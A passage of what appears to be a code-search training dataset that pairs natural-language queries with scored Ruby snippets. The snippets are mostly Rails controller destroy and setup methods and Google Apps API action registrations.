@comment.destroy\n\n respond_to do |format|\n format.html { redirect_to(comments_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "351967afe9c5aec1c186e6a8894a9d8a", "score": "0.6987022", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to(comments_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "351967afe9c5aec1c186e6a8894a9d8a", "score": "0.6987022", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to(comments_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "351967afe9c5aec1c186e6a8894a9d8a", "score": "0.6987022", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to(comments_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "351967afe9c5aec1c186e6a8894a9d8a", "score": "0.6987022", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to(comments_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "351967afe9c5aec1c186e6a8894a9d8a", "score": "0.6987022", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to(comments_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "351967afe9c5aec1c186e6a8894a9d8a", "score": "0.6987022", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to(comments_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "351967afe9c5aec1c186e6a8894a9d8a", "score": "0.6987022", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to(comments_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "351967afe9c5aec1c186e6a8894a9d8a", "score": "0.6987022", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to(comments_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "351967afe9c5aec1c186e6a8894a9d8a", "score": "0.6987022", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to(comments_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "351967afe9c5aec1c186e6a8894a9d8a", "score": "0.69865525", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to(comments_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "0477307c204415afb48a18c3698db77b", "score": "0.6986535", "text": "def destroy\n @comment = @showdown.comments.find(params[:id])\n @comment.destroy\n\n respond_to do |format|\n format.html { redirect_to topics_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a03ee934991151ada2c58b9ab14e4b16", "score": "0.69862837", "text": "def destroy\n @comment_file.destroy\n respond_to do |format|\n format.html { redirect_back(fallback_location: users_path) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d1361a709199cc809045fbded0e0d970", "score": "0.6985526", "text": "def destroy\n @comment = Comment.find(params[:id])\n @comment.destroy\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "e941e9fc1ce5e515e35ce1a767c411c4", "score": "0.0", "text": "def set_album\n @album = current_user.albums.find(params[:id])\n end", "title": "" } ]
[ { "docid": "631f4c5b12b423b76503e18a9a606ec3", "score": "0.60339177", "text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end", "title": "" }, { "docid": "7b068b9055c4e7643d4910e8e694ecdc", "score": "0.60135007", "text": "def on_setup_callbacks; end", "title": "" }, { "docid": "311e95e92009c313c8afd74317018994", "score": "0.59219855", "text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5913137", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5913137", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "bfea4d21895187a799525503ef403d16", "score": "0.589884", "text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "352de4abc4d2d9a1df203735ef5f0b86", "score": "0.5889191", "text": "def required_action\n # TODO: implement\n end", "title": "" }, { "docid": "8713cb2364ff3f2018b0d52ab32dbf37", "score": "0.58780754", "text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end", "title": "" }, { "docid": "a80b33627067efa06c6204bee0f5890e", "score": "0.5863248", "text": "def actions\n\n end", "title": "" }, { "docid": "930a930e57ae15f432a627a277647f2e", "score": "0.58094144", "text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end", "title": "" }, { "docid": "33ff963edc7c4c98d1b90e341e7c5d61", "score": "0.57375425", "text": "def setup\n common_setup\n end", "title": "" }, { "docid": "a5ca4679d7b3eab70d3386a5dbaf27e1", "score": "0.57285565", "text": "def perform_setup\n end", "title": "" }, { "docid": "ec7554018a9b404d942fc0a910ed95d9", "score": "0.57149214", "text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703237", "text": "def callbacks; end", "title": "" }, { "docid": "c85b0efcd2c46a181a229078d8efb4de", "score": "0.56900954", "text": "def custom_setup\n\n end", "title": "" }, { "docid": "100180fa74cf156333d506496717f587", "score": "0.56665677", "text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend", "title": "" }, { "docid": "2198a9876a6ec535e7dcf0fd476b092f", "score": "0.5651118", "text": "def initial_action; end", "title": "" }, { "docid": "b9b75a9e2eab9d7629c38782c0f3b40b", "score": "0.5648135", "text": "def setup_intent; end", "title": "" }, { "docid": "471d64903a08e207b57689c9fbae0cf9", "score": "0.56357735", "text": "def setup_controllers &proc\n @global_setup = proc\n self\n end", "title": "" }, { "docid": "468d85305e6de5748477545f889925a7", "score": "0.5627078", "text": "def inner_action; end", "title": "" }, { "docid": "bb445e7cc46faa4197184b08218d1c6d", "score": "0.5608873", "text": "def pre_action\n # Override this if necessary.\n end", "title": "" }, { "docid": "432f1678bb85edabcf1f6d7150009703", "score": "0.5598699", "text": "def target_callbacks() = commands", "title": "" }, { "docid": "48804b0fa534b64e7885b90cf11bff31", "score": "0.5598419", "text": "def execute_callbacks; end", "title": "" }, { "docid": "5aab98e3f069a87e5ebe77b170eab5b9", "score": "0.5589822", "text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.5558845", "text": "def global_callbacks; end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.5558845", "text": "def global_callbacks; end", "title": "" }, { "docid": "482481e8cf2720193f1cdcf32ad1c31c", "score": "0.55084664", "text": "def required_keys(action)\n\n end", "title": "" }, { "docid": "353fd7d7cf28caafe16d2234bfbd3d16", "score": "0.5504379", "text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end", "title": "" }, { "docid": "dcf95c552669536111d95309d8f4aafd", "score": "0.5465574", "text": "def layout_actions\n \n end", "title": "" }, { "docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40", "score": "0.5464707", "text": "def on_setup(&block); end", "title": "" }, { "docid": "8ab2a5ea108f779c746016b6f4a7c4a8", "score": "0.54471064", "text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend", "title": "" }, { "docid": "e3aadf41537d03bd18cf63a3653e05aa", "score": "0.54455084", "text": "def before(action)\n invoke_callbacks *options_for(action).before\n end", "title": "" }, { "docid": "6bd37bc223849096c6ea81aeb34c207e", "score": "0.5437386", "text": "def post_setup\n end", "title": "" }, { "docid": "07fd9aded4aa07cbbba2a60fda726efe", "score": "0.54160327", "text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "9358208395c0869021020ae39071eccd", "score": "0.5397424", "text": "def post_setup; end", "title": "" }, { "docid": "cb5bad618fb39e01c8ba64257531d610", "score": "0.5392518", "text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "a468b256a999961df3957e843fd9bdf4", "score": "0.5385411", "text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53794575", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.5357573", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "118932433a8cfef23bb8a921745d6d37", "score": "0.53487605", "text": "def register_action(action); end", "title": "" }, { "docid": "725216eb875e8fa116cd55eac7917421", "score": "0.5346655", "text": "def setup\n @controller.setup\n end", "title": "" }, { "docid": "39c39d6fe940796aadbeaef0ce1c360b", "score": "0.53448105", "text": "def setup_phase; end", "title": "" }, { "docid": "bd03e961c8be41f20d057972c496018c", "score": "0.5342072", "text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end", "title": "" }, { "docid": "c6352e6eaf17cda8c9d2763f0fbfd99d", "score": "0.5341318", "text": "def initial_action=(_arg0); end", "title": "" }, { "docid": "207a668c9bce9906f5ec79b75b4d8ad7", "score": "0.53243506", "text": "def before_setup\n\n end", "title": "" }, { "docid": "669ee5153c4dc8ee81ff32c4cefdd088", "score": "0.53025913", "text": "def ensure_before_and_after; end", "title": "" }, { "docid": "c77ece7b01773fb7f9f9c0f1e8c70332", "score": "0.5283114", "text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end", "title": "" }, { "docid": "1e1e48767a7ac23eb33df770784fec61", "score": "0.5282289", "text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "4ad1208a9b6d80ab0dd5dccf8157af63", "score": "0.52585614", "text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end", "title": "" }, { "docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7", "score": "0.52571374", "text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end", "title": "" }, { "docid": "fc88422a7a885bac1df28883547362a7", "score": "0.52483684", "text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end", "title": "" }, { "docid": "8945e9135e140a6ae6db8d7c3490a645", "score": "0.5244467", "text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "7b3954deb2995cf68646c7333c15087b", "score": "0.5236853", "text": "def after_setup\n end", "title": "" }, { "docid": "1dddf3ac307b09142d0ad9ebc9c4dba9", "score": "0.52330637", "text": "def external_action\n raise NotImplementedError\n end", "title": "" }, { "docid": "5772d1543808c2752c186db7ce2c2ad5", "score": "0.52300817", "text": "def actions(state:)\n raise NotImplementedError\n end", "title": "" }, { "docid": "64a6d16e05dd7087024d5170f58dfeae", "score": "0.522413", "text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52226824", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "db0cb7d7727f626ba2dca5bc72cea5a6", "score": "0.521999", "text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end", "title": "" }, { "docid": "8d7ed2ff3920c2016c75f4f9d8b5a870", "score": "0.5215832", "text": "def pick_action; end", "title": "" }, { "docid": "7bbfb366d2ee170c855b1d0141bfc2a3", "score": "0.5213786", "text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end", "title": "" }, { "docid": "78ecc6a2dfbf08166a7a1360bc9c35ef", "score": "0.52100146", "text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end", "title": "" }, { "docid": "2aba2d3187e01346918a6557230603c7", "score": "0.52085197", "text": "def ac_action(&blk)\n @action = blk\n end", "title": "" }, { "docid": "4c23552739b40c7886414af61210d31c", "score": "0.5203262", "text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end", "title": "" }, { "docid": "691d5a5bcefbef8c08db61094691627c", "score": "0.5202406", "text": "def performed(action)\n end", "title": "" }, { "docid": "6a98e12d6f15af80f63556fcdd01e472", "score": "0.520174", "text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end", "title": "" }, { "docid": "d56f4ec734e3f3bc1ad913b36ff86130", "score": "0.5201504", "text": "def create_setup\n \n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51963276", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51963276", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "7fca702f2da4dbdc9b39e5107a2ab87d", "score": "0.5191404", "text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end", "title": "" }, { "docid": "063b82c93b47d702ef6bddadb6f0c76e", "score": "0.5178325", "text": "def setup(instance)\n action(:setup, instance)\n end", "title": "" }, { "docid": "9f1f73ee40d23f6b808bb3fbbf6af931", "score": "0.51765746", "text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "7a0c9d839516dc9d0014e160b6e625a8", "score": "0.5162045", "text": "def setup(request)\n end", "title": "" }, { "docid": "e441ee807f2820bf3655ff2b7cf397fc", "score": "0.5150735", "text": "def after_setup; end", "title": "" }, { "docid": "1d375c9be726f822b2eb9e2a652f91f6", "score": "0.5143402", "text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end", "title": "" }, { "docid": "c594a0d7b6ae00511d223b0533636c9c", "score": "0.51415485", "text": "def code_action_provider; end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.51398855", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "2fcff037e3c18a5eb8d964f8f0a62ebe", "score": "0.51376045", "text": "def setup(params)\n end", "title": "" }, { "docid": "111fd47abd953b35a427ff0b098a800a", "score": "0.51318985", "text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end", "title": "" }, { "docid": "f2ac709e70364fce188bb24e414340ea", "score": "0.5115387", "text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5111866", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "4c7a1503a86fb26f1e4b4111925949a2", "score": "0.5109771", "text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end", "title": "" }, { "docid": "63849e121dcfb8a1b963f040d0fe3c28", "score": "0.5107364", "text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend", "title": "" }, { "docid": "f04fd745d027fc758dac7a4ca6440871", "score": "0.5106081", "text": "def block_actions options ; end", "title": "" }, { "docid": "0d1c87e5cf08313c959963934383f5ae", "score": "0.51001656", "text": "def on_action(action)\n @action = action\n self\n end", "title": "" }, { "docid": "916d3c71d3a5db831a5910448835ad82", "score": "0.50964546", "text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end", "title": "" }, { "docid": "076c761e1e84b581a65903c7c253aa62", "score": "0.5093199", "text": "def add_callbacks(base); end", "title": "" } ]
d2b9ba318824cdf46728ccfda49b1077
Internal functions use '__' to avoid collisions with possible userdefined data and such, though in a pinch users COULD access if they understood the internals sufficiently. Not worth the bother to prevent, really, this is just to avoid accidents.
[ { "docid": "c97fbfeebd0bdbb91c57d27bca6beda2", "score": "0.0", "text": "def __init_manual_data(data)\n @manual_data = Loki::Manual.new(data, self)\n end", "title": "" } ]
[ { "docid": "04b8031576882bce96df6dc86673d82f", "score": "0.7098029", "text": "def __; '.'; end", "title": "" }, { "docid": "76836d0259bbbaa6b4fc10e9d996d2d6", "score": "0.6313243", "text": "def eod=(_); end", "title": "" }, { "docid": "2c08e51cde9d14947b58da27972e4c7c", "score": "0.6201674", "text": "def modulize\n #gsub('__','/'). # why was this ever here?\n gsub(/__(.?)/){ \"::#{$1.upcase}\" }.\n gsub(/\\/(.?)/){ \"::#{$1.upcase}\" }.\n gsub(/(?:_+|-+)([a-z])/){ $1.upcase }.\n gsub(/(\\A|\\s)([a-z])/){ $1 + $2.upcase }\n end", "title": "" }, { "docid": "2c08e51cde9d14947b58da27972e4c7c", "score": "0.6201674", "text": "def modulize\n #gsub('__','/'). # why was this ever here?\n gsub(/__(.?)/){ \"::#{$1.upcase}\" }.\n gsub(/\\/(.?)/){ \"::#{$1.upcase}\" }.\n gsub(/(?:_+|-+)([a-z])/){ $1.upcase }.\n gsub(/(\\A|\\s)([a-z])/){ $1 + $2.upcase }\n end", "title": "" }, { "docid": "264cc83ea1a149106bb006cbbde6d9a6", "score": "0.60700744", "text": "def orig_name=(*) end", "title": "" }, { "docid": "af8c7dc1cf9c99e5b697767ca2dd78a8", "score": "0.60025", "text": "def attr_internal_naming_format=(_arg0); end", "title": "" }, { "docid": "942465679da140d76988c3415ca200de", "score": "0.5940165", "text": "def in_private=(_arg0); end", "title": "" }, { "docid": "82234c0b864b9baa131bc89f08335379", "score": "0.59375864", "text": "def underscorify!\n gsub!(/\\s/, '_')\n end", "title": "" }, { "docid": "bec3ad3d7a2f8e71dd0c0b7205220fb7", "score": "0.59368414", "text": "def legacy_deprecations=(_arg0); end", "title": "" }, { "docid": "12d1ac4982e414cc272c0a686004551c", "score": "0.59053814", "text": "def data=(_); end", "title": "" }, { "docid": "12d1ac4982e414cc272c0a686004551c", "score": "0.59053814", "text": "def data=(_); end", "title": "" }, { "docid": "12d1ac4982e414cc272c0a686004551c", "score": "0.59053814", "text": "def data=(_); end", "title": "" }, { "docid": "12d1ac4982e414cc272c0a686004551c", "score": "0.59053814", "text": "def data=(_); end", "title": "" }, { "docid": "12d1ac4982e414cc272c0a686004551c", "score": "0.59053814", "text": "def data=(_); end", "title": "" }, { "docid": "12d1ac4982e414cc272c0a686004551c", "score": "0.59053814", "text": "def data=(_); end", "title": "" }, { "docid": "7e082a39938aeae2f38a9ca3823e4d1b", "score": "0.5892164", "text": "def used=(_); end", "title": "" }, { "docid": "2624dca13ba01e1a7eb3b41c13cd4150", "score": "0.5889501", "text": "def name_safe?; end", "title": "" }, { "docid": "cd5703610eda1e9cafe7166062e373a9", "score": "0.5879271", "text": "def long_name(*) end", "title": "" }, { "docid": "0bc8df9d296e13c8b8a52808632aadf6", "score": "0.5876914", "text": "def longname; end", "title": "" }, { "docid": "0bc8df9d296e13c8b8a52808632aadf6", "score": "0.5876914", "text": "def longname; end", "title": "" }, { "docid": "d129cc756661d2db1b6e7ead9a68728c", "score": "0.58724827", "text": "def in_private; end", "title": "" }, { "docid": "6a6ed5368f43a25fb9264e65117fa7d1", "score": "0.58703995", "text": "def internal; end", "title": "" }, { "docid": "255b128abb2eb262fd52b20ff68129b9", "score": "0.58236897", "text": "def escaper=(_); end", "title": "" }, { "docid": "ea261e8e8b9c9f33686fbba50f2d71c5", "score": "0.58112127", "text": "def orig_name(*) end", "title": "" }, { 